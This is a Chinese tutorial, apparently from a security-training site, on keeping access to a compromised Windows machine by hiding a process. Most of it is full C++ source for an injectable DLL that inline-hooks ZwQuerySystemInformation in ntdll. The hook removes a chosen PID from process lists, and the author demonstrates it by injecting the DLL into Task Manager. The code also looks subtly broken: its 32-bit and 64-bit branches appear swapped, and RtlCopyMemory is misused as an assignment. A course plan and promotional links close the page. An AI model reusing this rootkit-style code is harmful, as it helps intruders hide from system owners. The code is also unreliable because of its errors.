利用Windows进程隐藏进行权限维持
作者:brodyproder。
作者:brodyproder
基础知识
进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,是操作系统结构的基础。在早期面向进程设计的计算机结构中,进程是程序的基本执行实体;在当代面向线程设计的计算机结构中,进程是线程的容器。程序是指令、数据及其组织形式的描述,进程是程序的实体。
我们在计算机上的每个程序运行起来之后都可以被称作进程,进程可以在任务管理器里面看见,如下所示
那么我们在进行渗透的过程中,如果我们运行了一些本没有运行的进程,我们想要达到不被对方发现的效果,其中一个方法就是实现进程隐藏,让对方在任务管理器里面看不到这个进程,当然这里只针对的是不被小白发现,专业的人员不在这个讨论范围内。
那么实现进程隐藏可以通过HOOK api的方式实现,我们知道一般我们要获取进程快照都是使用CreateToolHelp32Snapshot
这个api,而这个api在内核层最终会调用ZwQuerySystemInformation
这个api来获取系统进程信息,那么我们就可以直接去hook内核的这个api,因为最终还是调用内核的这个api,从而实现进程隐藏
实现过程
那么这里需要一些基础知识,hook api的实现最终还是要归结到Inline HOOK,通过修改api的前几个字节的数据,写入一个E9(jump)到我们自己的函数中执行
简单介绍一下Inline hook,API函数都保存在操作系统提供的DLL文件中,当在程序中使用某个API函数时,在运行程序后,程序会隐式地将API所在的DLL加载入进程中。这样,程序就会像调用自己的函数一样调用API。
在进程中当EXE模块调用CreateFile()函数的时候,会去调用kernel32.dll模块中的CreateFile()函数,因为真正的CreateFile()函数的实现在kernel32.dll模块中。
CreateFile()是API函数,API函数也是由人编写的代码再编译而成的,也有其对应的二进制代码。既然是代码,那么就可以被修改。通过一种“野蛮”的方法来直接修改API函数在内存中的映像,从而对API函数进行HOOK。使用的方法是,直接使用汇编指令的jmp指令将其代码执行流程改变,进而执行我们的代码,这样就使原来的函数的流程改变了。执行完我们的流程以后,可以选择性地执行原来的函数,也可以不继续执行原来的函数。
假设要对某进程的kernel32.dll的CreateFile()函数进行HOOK,首先需要在指定进程中的内存中找到CreateFile()函数的地址,然后修改CreateFile()函数的首地址的代码为jmp MyProc的指令。这样,当指定的进程调用CreateFile()函数时,就会首先跳转到我们的函数当中去执行流程,这样就完成了我们的HOOK了。
那么既然有了IAThook,我们为什么还要用Inlinehook呢,直接用IAThook不是更方便吗?看硬编码多麻烦。
我们思考一个问题,如果函数不是以LoadLibrary
方式加载,那么肯定在导入表里就不会出现,那么IAThook就不能使用了,这就是Inlinehook诞生的条件。
硬编码
何为硬编码?
这里我就不生搬概念性的东西来解释了,说说我自己的理解。硬编码可以说就是用十六进制的字符组成的,他是给cpu读的语言,我们知道在计算机里面只有0和1,如果你要让他去读c语言的那些字符他是读不懂的,他只会读0和1,这就是硬编码。
硬编码的结构如下,有定长指令、变长指令等等一系列指令,还跟各种寄存器相关联起来,确实如果我们去读硬编码的话太痛苦了
这里就不过多延伸了,我们在Inline hook里面只会用到一个硬编码就是E9,对应的汇编代码就是jmp
这里我就直接通过Inline hook来实现进程隐藏,首先我们要明确思路,首先我们要获取到ZwQuerySystemInformation
这个函数的地址,首先看一下这个函数的结构
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(_In_SYSTEM_INFORMATION_CLASS SystemInformationClass,_Inout_ PVOIDSystemInformation,_In_ULONGSystemInformationLength,_Out_opt_ PULONG ReturnLength);
那么我们首先获取ntdll.dll
的基址,这里可以使用GetModuleHandle
,也可以使用LoadLibraryA
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
然后使用GetProcAddress
获取ZwQuerySystemInformation
的函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
获取到函数地址之后我们就需要进行hook操作,这里注意一下,在32位中跳转的语句应该为jmp New_ZwQuerySystemInformation
,对应的硬编码就是E9 xx xx xx xx
,那么在32位的情况下我们要执行跳转就需要修改5个字节的硬编码,而在64位中跳转的语句应该为mov rax, 0x1234567812345678
、jmp rax
,对应的硬编码就是48 b8 7856341278563412
、ff e0
,需要修改12个字节
在32位的情况下,修改5个字节
BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };
计算偏移地址,计算公式为新地址 - 旧地址 - 5
DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
因为我们要覆盖前5个字节那么我们首先把前5个字节放到其他地方保存
::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));
::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
64位的情况下同理,只是修改字节为12个字节
BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
然后修改权限为可读可写可执行权限,否则会报错0xC0000005
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
修改硬编码,再还原属性
::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
到这里我们的hook函数就已经完成得差不多了,再写一个unhook函数,思路大体相同,代码如下
void UnHookAPI() {//获取ntdll.dll基址HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");if (hDll == NULL){printf("[!] GetModuleHandle false,error is: %d", GetLastError());return;}else{printf("[*] GetModuleHandle successfully!\n\n");}// 获取 ZwQuerySystemInformation 函数地址typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");if (NULL == ZwQuerySystemInformation){printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());return;}else{printf("[*] ZwQuerySystemInformation successfully!\n\n");}// 修改为可读可写可执行权限DWORD dwOldProtect = 0;::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);// 32位下还原5字节,64位下还原12字节
#ifdef _WIN64::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
#else::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));
#endif// 还原权限::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
当我们执行完hook函数之后,需要跳转到我们自己的函数,在我们自己的函数里面,在我们自己的函数里面需要判断是否检索系统的进程信息,如果进程信息存在我们就需要将进程信息剔除
那么我们首先将钩子卸载掉,防止多次同时访问hook函数而造成数据混乱
UnHookAPI();
然后加载ntdll.dll
HMODULE hDll = ::LoadLibraryA("ntdll.dll");
再获取ZwQuerySystemInformation
的基址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
这里看一下ZwQuerySystemInformation
这个函数结构
NTSTATUS WINAPI ZwQuerySystemInformation(_In_SYSTEM_INFORMATION_CLASS SystemInformationClass,_Inout_ PVOIDSystemInformation,_In_ULONGSystemInformationLength,_Out_opt_ PULONG ReturnLength
);
主要要关注的有两个参数,第一个参数是SystemInformationClass
,他是用来表示要检索的系统信息的类型,再就是返回值,当函数执行成功则返回NTSTATUS
,否则返回错误代码,那么我们首先要判断消息类型是否是进程信息
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass)
这里我们定义一个指针指向返回结果信息的缓冲区
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
判断如果是我们想要隐藏进程的PID则删除进程信息
if (HideProcessID == (DWORD)pCur->UniqueProcessId)
删除完成之后我们再还原hook
HookAPI();
我们要实现的功能不只是在自己的进程空间内隐藏指定进程,那么我们就可以把代码写成dll文件方便注入,完整代码如下
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <iostream>
#include <Winternl.h>
HMODULE g_hModule;
BYTE g_Oldwin32[5] = { 0 };
BYTE g_Oldwin64[12] = { 0 };
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")
NTSTATUS New_ZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength
);
void HookAPI();
void UnHookAPI();
void HookAPI() {//获取ntdll.dll基址HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");if (hDll == NULL){printf("[!] GetModuleHandle false,error is: %d\n\n", GetLastError());return;}else{printf("[*] GetModuleHandle successfully!\n\n");}
#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(_In_SYSTEM_INFORMATION_CLASS SystemInformationClass,_Inout_ PVOIDSystemInformation,_In_ULONGSystemInformationLength,_Out_opt_ PULONG ReturnLength);
#elsetypedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(_In_SYSTEM_INFORMATION_CLASS SystemInformationClass,_Inout_ PVOIDSystemInformation,_In_ULONGSystemInformationLength,_Out_opt_ PULONG ReturnLength);
#endif// 获取 ZwQuerySystemInformation 函数地址typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");if (NULL == ZwQuerySystemInformation){printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());return;}else{printf("[*] ZwQuerySystemInformation successfully!\n\n");}// 32位则修改前5字节,64位则修改前12字节
#ifdef _WIN64// jmp New_ZwQuerySystemInformation// E9 xx xx xx xxBYTE pData[5] = { 0xe9, 0, 0, 0, 0 };// 计算偏移地址 , 偏移地址 = 新地址 - 旧地址 - 5DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
#else// mov rax, 0x1234567812345678// jmp rax// 48 b8 7856341278563412// ff e0BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
#endifDWORD dwOldProtect = 0;//修改为可读可写可执行权限::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));//还原权限::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
}
void UnHookAPI() {//获取ntdll.dll基址HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");if (hDll == NULL){printf("[!] GetModuleHandle false,error is: %d", GetLastError());return;}else{printf("[*] GetModuleHandle successfully!\n\n");}
#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(_In_SYSTEM_INFORMATION_CLASS SystemInformationClass,_Inout_ PVOIDSystemInformation,_In_ULONGSystemInformationLength,_Out_opt_ PULONG ReturnLength);
#elsetypedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(_In_SYSTEM_INFORMATION_CLASS SystemInformationClass,_Inout_ PVOIDSystemInformation,_In_ULONGSystemInformationLength,_Out_opt_ PULONG ReturnLength);
#endif// 获取 ZwQuerySystemInformation 函数地址typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");if (NULL == ZwQuerySystemInformation){printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());return;}else{printf("[*] ZwQuerySystemInformation successfully!\n\n");}// 修改为可读可写可执行权限DWORD dwOldProtect = 0;::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);// 32位下还原5字节,64位下还原12字节
#ifdef _WIN64::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
#else::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));
#endif// 还原权限::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}
NTSTATUS New_ZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength
) {NTSTATUS status = 0;PSYSTEM_PROCESS_INFORMATION pCur = NULL;PSYSTEM_PROCESS_INFORMATION pPrev = NULL;// 隐藏进程的PIDDWORD HideProcessID = 13972;// 卸载钩子UnHookAPI();HMODULE hDll = ::LoadLibraryA("ntdll.dll");if (hDll == NULL){printf("[!] LoadLibraryA failed,error is : %d\n\n", GetLastError());return status;}else{printf("[*] LoadLibraryA successfully!\n\n");}
#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(_In_SYSTEM_INFORMATION_CLASS SystemInformationClass,_Inout_ PVOIDSystemInformation,_In_ULONGSystemInformationLength,_Out_opt_ PULONG ReturnLength);
#elsetypedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(_In_SYSTEM_INFORMATION_CLASS SystemInformationClass,_Inout_ PVOIDSystemInformation,_In_ULONGSystemInformationLength,_Out_opt_ PULONG ReturnLength);
#endif// 获取 ZwQuerySystemInformation 函数地址typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");if (NULL == ZwQuerySystemInformation){printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());return status;}else{printf("[*] ZwQuerySystemInformation successfully!\n\n");}// 调用原函数 ZwQuerySystemInformationstatus = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);if (NT_SUCCESS(status) && 5 == SystemInformationClass){pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;while (TRUE){// 若为隐藏的进程PID则删除进程信息if (HideProcessID == (DWORD)pCur->UniqueProcessId){if (pCur->NextEntryOffset == 0){pPrev->NextEntryOffset = 0;}else{pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset;}}else{pPrev = pCur;}if (pCur->NextEntryOffset == 0){break;}pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);}}HookAPI();return status;
}
BOOL APIENTRY DllMain( HMODULE hModule, DWORDul_reason_for_call, LPVOID lpReserved ) {switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:HookAPI();g_hModule = hModule; break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:UnHookAPI();break;}return TRUE;
}
实现效果
这里可以通过全局钩子注入或者远程线程注入把dll注入到其他进程里面,那么如果我们想要在任务管理器里面看不到某个进程,那么就需要将dll注入到任务管理器里面
我这里选择隐藏的是QQ音乐,这里运行下程序将dll注入
再看下效果,在任务管理器里面已经看不到QQ音乐这个进程了,进程隐藏成功
说明
关于合天网安实验室
合天网安实验室(www.hetianlab.com)-国内领先的实操型网络安全在线教育平台 真实环境,在线实操学网络安全 ; 实验内容涵盖:系统安全,软件安全,网络安全,Web安全,移动安全,CTF,取证分析,渗透测试,网安意识教育等。
相关实验练习
恶意代码分析实战接下来我将给各位同学划分一张学习计划表!
学习计划
那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:
阶段一:初级网络安全工程师
接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?
阶段二:中级or高级网络安全工程师(看自己能力)
综合薪资区间15k~30k
7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。
零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;
Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三:顶级网络安全工程师
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)